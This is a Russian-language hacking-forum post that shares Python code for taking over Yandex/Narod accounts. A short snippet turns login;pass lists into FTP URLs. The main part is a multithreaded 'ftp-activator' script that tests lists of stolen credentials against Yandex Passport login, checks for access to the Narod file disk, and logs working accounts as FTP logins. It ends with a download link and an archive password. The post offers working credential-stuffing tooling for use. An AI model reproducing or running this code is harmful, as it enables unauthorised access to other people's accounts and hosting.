это сделать [email protected]ass ? если да то реализация на питоне: Code: with open("source.txt", "r") as source: with open("out.txt", "w") as out: for line in source: line = line.split("@") out.write(line[0]+"@"+"ftp."+line[1].replace(";", ":"))
Code: #! /usr/bin/env python # -*- coding:windows-1251 -*- #yandex ftp-activator #(c)[NDC] login999 #http://forum.devisible.ru import re import urllib2 import urllib import cookielib import time import threading from Queue import Queue queue = Queue() def master_Thread(queu): iterator = iter(accounts) while True: try: if queu.qsize() < threads_count*3: for x in xrange(threads_count*3): account = iterator.next() queu.put(account[:-1]) except StopIteration: return else: time.sleep(0.01) def write_to_log (mess): with open ("log.txt", "a") as log: log.write(mess + "\n") def write_succ (mess): with open ("succ.txt", "a") as log: log.write(mess.lower() + "\n") def write_bad (mess): with open ("bad.txt", "a") as log: log.write(mess.lower() + "\n") def Login(): while True: try: login_pass = queue.get(False).split(";") except: write_to_log("All accounts was used") return login = login_pass[0] password = login_pass[1] cookie = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie)) urllib2.install_opener(opener) headers = {"User-Agent" : "Opera/9.64 (Windows NT 5.1; U; en) Presto/2.1.1" } data_s = { "login":login, "passwd":password, "retpath":"http://narod.yandex.ru" } send_data = urllib.urlencode(data_s) u_request = urllib2.Request("http://passport.yandex.ru/passport?mode=mauth", send_data, headers) try: login_page = str(urllib2.urlopen(u_request).read()) except: queue.put(login_pass) write_to_log("Connection Error :" + login + ":" + password + " on logging in") else: if "http://passport.yandex.ru/passport?mode=logout" in login_page: write_to_log("Logged in success for account :" + login + ":" + password) u_request = urllib2.Request("http://narod.yandex.ru/disk/narod/", None, headers) try: login_page = str(urllib2.urlopen(u_request).read()) except: queue.put(login_pass) write_to_log("Connection Error :" + login + ":" + password + " on loading disk") else: if "/filemanager/" in login_page: write_succ("ftp://" + login.split("@")[0] + ":" + password + "@ftp.narod.ru") else: write_bad(login_page) else: queue.put(login_pass) write_to_log("Not logged in for account :" + login + ":" + password) accounts_file = raw_input("Accounts FileName (login;pass):") threads_count = int(raw_input("How many Threads ?:")) with open (accounts_file, "r") as accounts: threading.Thread(target = master_Thread, args = [queue]).start() for x in xrange(threads_count): threading.Thread(target = Login).start() Пробуй это , вроде работает Если будет ругаться, качай отсюда: http://webfile.ru/3296652 Пароль : antichat.ru инструкция по установке и запуску Python : http://forum.devisible.ru/showthread.php?t=182